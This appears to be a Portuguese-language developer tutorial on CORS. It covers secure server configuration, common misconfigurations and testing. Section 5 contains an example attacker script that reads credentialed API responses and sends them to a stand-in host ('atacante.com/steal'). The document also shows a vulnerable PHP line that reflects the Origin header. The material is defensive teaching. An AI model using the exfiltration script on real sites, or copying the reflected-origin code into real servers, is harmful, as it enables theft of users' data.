CORS: configuração correta e riscos de má configuração

1. O que é CORS e por que ele existe?

A segurança na web começa com a Política de Mesma Origem (Same-Origin Policy), um mecanismo fundamental dos navegadores que impede que uma página web acesse recursos de uma origem diferente da sua própria. Por exemplo, um script carregado de https://meusite.com não pode, por padrão, fazer requisições para https://api-outra.com.

O Cross-Origin Resource Sharing (CORS) é um mecanismo que permite que servidores especifiquem quais origens externas estão autorizadas a acessar seus recursos. Ele funciona como um porteiro: o navegador consulta o servidor de destino para saber se a requisição cross-origin é permitida, antes de liberar o acesso ao JavaScript da página.

2. Como o CORS funciona na prática

O CORS classifica as requisições em dois tipos:

Requisição simples: ocorre quando o método é GET, HEAD ou POST e os cabeçalhos são limitados (Accept, Accept-Language, Content-Language, Content-Type com valor application/x-www-form-urlencoded, multipart/form-data ou text/plain). Nesse caso, o navegador envia a requisição diretamente e verifica a resposta.

Requisição pré-voada (preflight): para métodos como PUT, DELETE ou cabeçalhos personalizados, o navegador primeiro envia uma requisição HTTP OPTIONS para verificar permissões.

Exemplo de cabeçalhos essenciais:

# Requisição do navegador
Origin: https://meusite.com

# Resposta do servidor (permitindo)
Access-Control-Allow-Origin: https://meusite.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization

3. Configuração correta do CORS no servidor

Origens específicas em vez de curinga

A configuração mais segura é listar explicitamente as origens permitidas:

# Exemplo em Express (Node.js) com middleware cors
const corsOptions = {
  origin: ['https://meusite.com', 'https://admin.meusite.com'],
  methods: ['GET', 'POST'],
  allowedHeaders: ['Content-Type', 'Authorization']
};
app.use(cors(corsOptions));

Configuração segura de métodos e cabeçalhos

Sempre restrinja métodos e cabeçalhos ao mínimo necessário:

# Java Spring Boot
@Configuration
public class CorsConfig {
    @Bean
    public WebMvcConfigurer corsConfigurer() {
        return new WebMvcConfigurer() {
            @Override
            public void addCorsMappings(CorsRegistry registry) {
                registry.addMapping("/api/**")
                    .allowedOrigins("https://app.exemplo.com")
                    .allowedMethods("GET", "POST")
                    .allowedHeaders("Authorization", "Content-Type");
            }
        };
    }
}

Tratamento de credenciais

Quando cookies ou tokens de autenticação são enviados, Access-Control-Allow-Credentials: true deve ser usado com origens específicas, nunca com *:

# Configuração correta com credenciais
Access-Control-Allow-Origin: https://meusite.com
Access-Control-Allow-Credentials: true

4. Riscos de má configuração: cenários comuns

Uso indiscriminado de Access-Control-Allow-Origin: *

Esse é o erro mais comum e perigoso. Permite que qualquer site faça requisições para sua API:

# Configuração INSEGURA
Access-Control-Allow-Origin: *

Origem dinâmica refletida sem validação

Alguns servidores copiam o cabeçalho Origin da requisição diretamente na resposta, sem validação:

# Código vulnerável (exemplo em PHP)
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);

Isso permite que um atacante crie um site malicioso que, ao fazer uma requisição, receba a permissão automaticamente.

Credenciais com curinga

Combinar Access-Control-Allow-Origin: * com Access-Control-Allow-Credentials: true é proibido pelos navegadores, mas configurações incorretas podem gerar vulnerabilidades.

5. Ataques explorando CORS mal configurado

Roubo de dados via requisições cross-origin

Um atacante pode criar um site que, usando JavaScript, faça requisições para uma API vulnerável:

// Código malicioso no site do atacante
fetch('https://api-vulneravel.com/dados-sensiveis', {
  credentials: 'include'
})
.then(response => response.json())
.then(data => {
  // Envia dados roubados para servidor do atacante
  fetch('https://atacante.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

Diferença entre CSRF e CORS

CSRF (Cross-Site Request Forgery) explora a autenticação automática do navegador, enquanto vulnerabilidades de CORS permitem que o JavaScript leia a resposta da requisição. A combinação de ambos é devastadora.

6. Boas práticas de implementação para desenvolvedores

Lista branca de origens

Implemente uma whitelist no backend:

# Exemplo em Python (Flask)
ALLOWED_ORIGINS = ['https://app.exemplo.com', 'https://admin.exemplo.com']

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
    return response

Validação rigorosa do cabeçalho Origin

Nunca confie cegamente no cabeçalho Origin. Valide contra uma lista predefinida:

# Validação segura em Node.js
const allowedOrigins = ['https://meusite.com', 'https://admin.meusite.com'];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
  }
  next();
});

Uso de middlewares seguros

Frameworks modernos oferecem middlewares testados:

# Express CORS middleware (configuração segura)
const cors = require('cors');
const corsOptions = {
  origin: function (origin, callback) {
    const whitelist = ['https://meusite.com'];
    if (whitelist.indexOf(origin) !== -1 || !origin) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  }
};
app.use(cors(corsOptions));

7. Testando e depurando configurações CORS

Ferramentas do navegador

O painel Network do DevTools (F12) mostra requisições bloqueadas por CORS com mensagens como:

Access to fetch at 'https://api.exemplo.com/dados' from origin 'https://meusite.com' 
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present

Extensões e serviços online

  • CORS Toggle (extensão Chrome): permite desabilitar temporariamente CORS para testes locais
  • curl com cabeçalhos: teste manualmente as configurações
curl -H "Origin: https://meusite.com" \
  -H "Access-Control-Request-Method: GET" \
  -X OPTIONS \
  -v https://api.exemplo.com/dados

Logs do servidor

Monitore requisições OPTIONS e verifique se os cabeçalhos estão sendo enviados corretamente:

# Log de servidor mostrando requisição preflight
[2024-01-15 10:30:45] OPTIONS /api/dados 200
  Origin: https://meusite.com
  Access-Control-Allow-Origin: https://meusite.com

8. Conclusão e checklist de segurança

CORS é uma camada essencial de segurança, mas sua má configuração pode expor dados sensíveis. Lembre-se:

Checklist de segurança CORS:

  • [ ] Use origens específicas, nunca * em produção
  • [ ] Nunca reflita o cabeçalho Origin sem validação
  • [ ] Restrinja métodos HTTP ao necessário (GET, POST)
  • [ ] Configure Access-Control-Allow-Credentials apenas com origens específicas
  • [ ] Valide o cabeçalho Origin contra uma whitelist no backend
  • [ ] Teste configurações com ferramentas do navegador e curl
  • [ ] Utilize middlewares testados da comunidade (Express CORS, Spring Security)
  • [ ] Documente e revise periodicamente as regras CORS

Para aprofundar, confira os próximos artigos da série sobre Security Headers e SSL/TLS.

Referências